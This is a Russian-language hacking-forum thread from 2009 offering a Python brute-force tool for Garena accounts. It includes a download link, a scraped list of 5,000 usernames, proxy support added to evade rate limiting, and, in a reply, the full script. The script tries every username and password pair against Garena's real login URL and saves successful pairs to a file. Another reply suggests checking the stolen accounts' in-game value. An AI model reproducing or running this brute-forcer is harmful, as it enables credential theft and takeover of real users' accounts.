Брутфорс garena

Discussion in 'PHP' started by e4key, 23 Aug 2009.

Thread Status:
Not open for further replies.
  1. e4key

    e4key New Member

    Joined:
    24 Jul 2009
    Messages:
    24
    Likes Received:
    1
    Reputations:
    0
    Написал сегодня от нечего делать брут garen'ы. Брут в один поток (может в скором будущем сделаю многопоточность). Хотите брутьте по 1 паролю на множество аков, хотите 1 акк на множество паролей ну или множество акков на множество паролей :)

    Скрипт написан на Python.

    Использование:

    И ждем завершения :)

    Для работы скрипта нужны файлы:

    Естественно эти файлы должны лежать в той же директории, что и скрипт.

    Результат сохраняется в файл results.txt в виде login;password.

    Как бонус в архиве лежит сграбленный мной из топа игроков файл с 5к именами пользователей :)

    upd: добавлена поддержка http-прокси

    http://www.sendspace.com/file/0pz8gs
     
    #1 e4key, 23 Aug 2009
    Last edited: 23 Aug 2009
  2. e4key

    e4key New Member

    Joined:
    24 Jul 2009
    Messages:
    24
    Likes Received:
    1
    Reputations:
    0
    Так так... Обнаружено что спустя некоторое количество запросов юзеру отдается пустая страница вместо страницы логина :( Скоро освобожусь и сделаю работу через http прокси.
     
  3. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Стоило создавать тему из-за вот ЭТОГО:
    PHP:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import urllib
    import re

    users 
    open('users.txt''r').readlines()
    passwords open('passwords.txt''r').readlines()
    hello open('results.txt''w')

    for 
    user in users:
        
    user user.strip()
        for 
    password in passwords:
            
    password password.strip()
            
    data urllib.urlencode({'username'user'password'password'loginSubmit''Submit'})
            
    page urllib.urlopen('http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4='data).read()
            
    login re.findall('Login successfully'page)
            if 
    len(login) != 0:
                print 
    'Login successfully: ' user ';' password
                hello
    .write(user ';' password '\n')
            else:
                print 
    'Incorrect login: ' user ';' password
    Хотяб уже в придачу чекер сделал лвла и ГГшелов.
     
    1 person likes this.
  4. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    http://forum.antichat.ru/thread107524.html
    Закрыто!
     
Thread Status:
Not open for further replies.